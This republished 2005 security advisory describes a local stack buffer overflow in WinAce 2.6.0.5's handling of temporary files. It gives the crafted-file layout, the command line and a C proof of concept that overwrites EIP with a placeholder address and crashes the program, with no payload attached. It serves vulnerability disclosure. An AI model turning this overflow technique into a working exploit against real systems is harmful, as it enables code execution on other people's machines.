首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WinAce Temporary File Handling Buffer Overflow
来源:atmacasoft.com 作者:ATmaCA 发布时间:2005-08-26  

WinAce Temporary File Handling Buffer Overflow

Summary
"WinAce is an archiving utility with an easy-to-use interface for creating, extracting, and viewing archives."

Local exploitation of a buffer overflow vulnerability in WinAce allows attackers to execute arbitrary code.

Credit:
The information has been provided by ATmaCA.
The original article can be found at: http://www.atmacasoft.com

Details
Vulnerable Systems:
* WinAce version 2.6.0.5 (earlier versions suspected)

When WinAce attempts to compress any file, firstly it creates temporary file which contains the location of the file which will be compressed. The problem specifically exists when parsing temporary files that contain long file entries.

An example malicious .tmp file with a long file name:
c:\AAAAAAAAA...[A x 2021 bytes is where the EIP starts]1234[AAAA...AAAAA]\r\n

Command line:
"C:\Program Files\WinAce\winace.exe" a "C:\Program Files\WinAce\winace" @c:\crafted.tmp

'[A x 2021]' represents any string of 2021 bytes in length. Opening either malicious tmp file on the Microsoft Windows platform will cause WinAce to crash with an access violation when attempting to execute instruction 0x34333231, which is the little-endian ASCII code representation of '1234'. An attacker can exploit this vulnerability to redirect the flow of control and eventually execute arbitrary code. This example is specific to the Microsoft Windows platform.

Exploitation requires that an attacker to execute arbitrary command line which contain location of malicious tmp file.

Disclosure Timeline:
22.07.05 - Initial vendor notification
25.07.05 - Initial vendor response
19.08.05 - Public disclosure

Proof of concept:
/*
*
* WinAce Temporary File Parsing Buffer Overflow Vulnerability
* http://www.winace.com/winace.html
* Discovered & Coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
*
*/

/*
*
* Tested with WinAce 2.6.0.5 as installed on the Win XP Sp2 En platform
*
*/

#include <windows.h>
#include <stdio.h>

void main()
{
// create crafted command line
char tmpfile[] = "c:\\crafted.tmp";
char winacepath[] = "\"C:\\Program Files\\WinAce\\winace.exe\"";
char compresspar[] = " a \"C:\\Program Files\\WinAce\\winace\" @";
char runpar[300];
int i = 0;
char Ret_Addr[]= "\x31\x32\x33\x34";

strcpy(runpar,winacepath);
strcat(runpar,compresspar);
strcat(runpar,tmpfile);

// create crafted .tmp file
FILE *di;
if( (di=fopen(tmpfile,"wb")) == NULL ){
return;
}

fprintf(di,"c:\\");

for(i=0;i<2013;i++)
fputc(0x41,di);

// Overwriting the return address (EIP)
fprintf(di,Ret_Addr); //EIP

for(i=0;i<178;i++)
fputc(0x41,di);

// end of file
fprintf(di,"\x2E\x74\x78\x74\x0D\x0A");

fclose(di);
WinExec(runpar,SW_SHOW);
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Open DC hub Buffer Overflow
·GTChat Remote Denial Of Servic
·Raising The Bar For Windows Ro
·Ventrilo Denial of Service
·Electronic Mail for UNIX (Elm)
·Home Ftp Server Multiple Vulne
·MyBB finduser Search SQL Injec
·Operator Shell (osh) Buffer Ov
·Sun Solaris printd Daemon Remo
·One Exploit Play More OS
·ShixxNote Buffer Overflow
·Adobe Version Cue VCNative Pre
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved